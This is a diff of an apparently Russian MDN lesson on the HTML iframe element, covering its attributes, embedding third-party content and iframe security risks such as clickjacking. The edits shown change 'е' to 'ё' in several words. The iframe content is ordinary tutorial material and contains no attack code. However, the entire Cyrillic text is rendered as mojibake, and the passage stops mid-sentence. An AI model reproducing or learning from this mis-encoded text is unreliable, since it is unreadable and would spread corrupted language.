<li>Π’ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ ΠΈ посмотритС Π½Π°Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² Output.</li>
</ol>
-<p>Если Π²Ρ‹ допустили ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ Π΅Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ «Бброс». Если Π²Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ застряли, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅Β», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚.</p>
+<p>Если Π²Ρ‹ допустили ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ Π΅Ρ‘ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ «Бброс». Если Π²Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ застряли, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅Β», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚.</p>
<div class="hidden">
<h6 id="Playable_code">Playable code</h6>
@@ -179,7 +179,7 @@ textarea.onkeyup = function(){
<p>Π˜Ρ‚Π°ΠΊ, это Π±Ρ‹Π»ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΈ вСсСло, Π½Π΅ Ρ‚Π°ΠΊ Π»ΠΈ? Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ {{htmlelement ("iframe")}} ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для размСщСния Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ стороннСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π½Π° ваш сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ прямого контроля ΠΈ Π½Π΅ Ρ…ΠΎΡ‡Π΅Ρ‚ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΈΠ΄Π΅ΠΎ ΠΎΡ‚ поставщиков ΠΎΠ½Π»Π°ΠΉΠ½-Π²ΠΈΠ΄Π΅ΠΎ, систСмы ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π², Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Disqus, ΠΊΠ°Ρ€Ρ‚Ρ‹ ΠΎΡ‚ поставщиков ΠΎΠ½Π»Π°ΠΉΠ½-ΠΊΠ°Ρ€Ρ‚, Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Ρ… Π±Π°Π½Π½Π΅Ρ€ΠΎΠ² ΠΈ Ρ‚. Π΄. Π–ΠΈΠ²Ρ‹Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ использовали Π² этом курсС, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ &lt;iframe&gt;.</p>
-<p>Π•ΡΡ‚ΡŒ нСсколько ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹Ρ… {{anch("ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности", "ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΒ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΠΈ")}} ΠΏΡ€ΠΈ использовании &lt;iframe&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ мы обсудим Π½ΠΈΠΆΠ΅, Π½ΠΎ это Π½Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π½Π° своих сайтах - они просто Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π·Π½Π°Π½ΠΈΠΉΒ ΠΈ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΎΠ±Π΄ΡƒΠΌΡ‹Π²Π°Π½ΠΈΡ. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΠΊΠΎΠ΄ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅. Π‘ΠΊΠ°ΠΆΠ΅ΠΌ, Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ глоссарий MDN Π½Π° ΠΎΠ΄Π½Ρƒ ΠΈΠ· своих Π²Π΅Π±-страниц.Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ этого:</p>
+<p>Π•ΡΡ‚ΡŒ нСсколько ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹Ρ… {{anch("ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности", "ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΒ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΠΈ")}} ΠΏΡ€ΠΈ использовании &lt;iframe&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ мы обсудим Π½ΠΈΠΆΠ΅, Π½ΠΎ это Π½Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π½Π° своих сайтах - они просто Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π·Π½Π°Π½ΠΈΠΉΒ ΠΈ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΎΠ±Π΄ΡƒΠΌΡ‹Π²Π°Π½ΠΈΡ. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΠΊΠΎΠ΄ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅. Π‘ΠΊΠ°ΠΆΠ΅ΠΌ, Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ глоссарий MDN Π½Π° ΠΎΠ΄Π½Ρƒ ΠΈΠ· своих Π²Π΅Π±-страниц.Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ этого:</p>
<pre class="notranslate">&lt;iframe src="https://developer.mozilla.org/en-US/docs/Glossary"
width="100%" height="500" frameborder="0"
@@ -193,7 +193,7 @@ textarea.onkeyup = function(){
<dl>
<dt>{{htmlattrxref('allowfullscreen','iframe')}}</dt>
- <dd>Если установлСно, &lt;iframe&gt; ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² полноэкранный Ρ€Π΅ΠΆΠΈΠΌ с использованиСм полноэкранного API (Ρ‡Ρ‚ΠΎ нСсколько Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ).</dd>
+ <dd>Если установлСно, &lt;iframe&gt; ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² полноэкранный Ρ€Π΅ΠΆΠΈΠΌ с использованиСм полноэкранного API (Ρ‡Ρ‚ΠΎ нСсколько Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ).</dd>
<dt>{{htmlattrxref('frameborder','iframe')}}</dt>
<dd>Если установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1, это ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этим Ρ„Ρ€Π΅ΠΉΠΌΠΎΠΌ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ°ΠΌΠΈ, Ρ‡Ρ‚ΠΎ являСтся ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. 0 удаляСт Π³Ρ€Π°Π½ΠΈΡ†Ρƒ. ИспользованиС этого Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅ рСкомСндуСтся, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‚ ΠΆΠ΅ эффСкт ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{cssxref ('border')}}: none; Π² {{Glossary ('CSS')}}.</dd>
<dt>{{htmlattrxref('src','iframe')}}</dt>
@@ -201,7 +201,7 @@ textarea.onkeyup = function(){
<dt>{{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}}</dt>
<dd>Π­Ρ‚ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ высоту, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ iframe.</dd>
<dt>Π Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</dt>
- <dd>Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ элСмСнты, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{htmlelement ("video")}}, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Π³Π°ΠΌΠΈ открытия ΠΈ закрытия &lt;iframe&gt; &lt;/ iframe&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ появятся, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ &lt; IFRAME&gt;. Π’ этом случаС ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ссылку Π½Π° страницу. Вряд Π»ΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с Ρ‚Π°ΠΊΠΈΠΌΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ &lt;iframe&gt; Π² нашС врСмя.</dd>
+ <dd>Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ элСмСнты, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{htmlelement ("video")}}, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Π³Π°ΠΌΠΈ открытия ΠΈ закрытия &lt;iframe&gt; &lt;/ iframe&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ появятся, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ &lt; IFRAME&gt;. Π’ этом случаС ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ссылку Π½Π° страницу. Вряд Π»ΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с Ρ‚Π°ΠΊΠΈΠΌΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ &lt;iframe&gt; Π² нашС врСмя.</dd>
<dt>{{htmlattrxref('sandbox','iframe')}}</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Β Π±ΠΎΠ»Π΅Π΅ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Ρ‡Π΅ΠΌ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ &lt;iframe&gt; (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, IE 10 ΠΈ Π²Ρ‹ΡˆΠ΅). ΠžΠ½Β Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½Ρ‹Π΅ настройки бСзопасности. Об этом ΠΌΡ‹ расскаТСм Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅.</dd>
</dl>
@@ -212,7 +212,7 @@ textarea.onkeyup = function(){
<h3 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_бСзопасности">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности</h3>
-<p>Π’Ρ‹ΡˆΠ΅ ΠΌΡ‹ упомянули ΠΎ проблСмах бСзопасности. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим это Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅. ΠœΡ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ всё ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅ с пСрвого раза.Β ΠœΡ‹ просто Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Π²Π°ΠΌ ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ссылку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΉ, ΠΊΠΎΠ³Π΄Π° станСтС болСС ΠΎΠΏΡ‹Ρ‚Π½Ρ‹ΠΌΠΈ ΠΈ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅Β Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ использованиС iframe Π² своих экспСримСнтах ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅Ρ‚ нСобходимости Π±ΠΎΡΡ‚ΡŒΡΡ ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ &lt;iframe&gt;Β - Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ остороТным. ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ...</p>
+<p>Π’Ρ‹ΡˆΠ΅ ΠΌΡ‹ упомянули ΠΎ проблСмах бСзопасности. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим это Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅. ΠœΡ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ всё ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅ с пСрвого раза.Β ΠœΡ‹ просто Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Π²Π°ΠΌ ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ссылку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΉ, ΠΊΠΎΠ³Π΄Π° станСтС болСС ΠΎΠΏΡ‹Ρ‚Π½Ρ‹ΠΌΠΈ ΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅Β Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ использованиС iframe Π² своих экспСримСнтах ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅Ρ‚ нСобходимости Π±ΠΎΡΡ‚ΡŒΡΡ ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ &lt;iframe&gt;Β - Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ остороТным. ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ...</p>
<p>Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π½Π° Π³ΠΎΡ€ΡŒΠΊΠΎΠΌ ΠΎΠΏΡ‹Ρ‚Π΅ усвоили, Ρ‡Ρ‚ΠΎ iframe - частая Ρ†Π΅Π»ΡŒΒ (ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½: Π²Π΅ΠΊΡ‚ΠΎΡ€ Π°Ρ‚Π°ΠΊΠΈ) ΠΏΠ»ΠΎΡ…ΠΈΡ… людСй Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ (часто Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Ρ…Π°ΠΊΠ΅Ρ€Π°ΠΌΠΈ, ΠΈΠ»ΠΈ, Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎ, ΠΊΡ€Π΅ΠΊΠ΅Ρ€Π°ΠΌΠΈ) для Π°Ρ‚Π°ΠΊΠΈ ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ваши Π²Π΅Π±-страницы ΠΈΠ»ΠΈ ΠΎΠ±ΠΌΠ°Π½ΠΎΠΌ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ посСтитСлСй Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Π΅Π³ΠΎ ΠΎΠ½ΠΈ Π½Π΅ хотят, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π°ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π²Ρ€ΠΎΠ΄Π΅ ΠΈΠΌΠ΅Π½ΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ этого, Π°Π²Ρ‚ΠΎΡ€Ρ‹ спСцификаций ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ бСзопасности для обСспСчСния Π·Π°Ρ‰ΠΈΡ‚Ρ‹ &lt;iframe&gt;, Π»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… мы рассмотрим Π½ΠΈΠΆΠ΅.</p>
@@ -220,7 +220,7 @@ textarea.onkeyup = function(){
<p>{{interwiki('wikipedia','Clickjacking')}} – это ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²ΠΈΠ΄ΠΎΠ² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ Π°Ρ‚Π°ΠΊΠΈ iframe, ΠΊΠΎΠ³Π΄Π° Ρ…Π°ΠΊΠ΅Ρ€Ρ‹ Π²Π½Π΅Π΄Ρ€ΡΡŽΡ‚ Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΉ iframe Π² ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ (ΠΈΠ»ΠΈ Π²Π½Π΅Π΄Ρ€ΡΡŽΡ‚ ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π° свой собствСнный врСдоносный Π²Π΅Π±-сайт) ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ для Π·Π°Ρ…Π²Π°Ρ‚Π° взаимодСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. Π­Ρ‚ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ способ ввСсти ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π² Π·Π°Π±Π»ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</p>
</div>
-<p>Быстрый ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β - ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ Π²Ρ‹ΡˆΠ΅, Π² ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΅Π³ΠΎ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β Π½Π° Github (см. Π’Π°ΠΊΠΆΠ΅ исходный ΠΊΠΎΠ΄). На самом Π΄Π΅Π»Π΅, Π²Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π° страницС,Β Ρ‚.ΠΊ. Ссли Π²Ρ‹ посмотритС в консоль Π² инструмСнтах 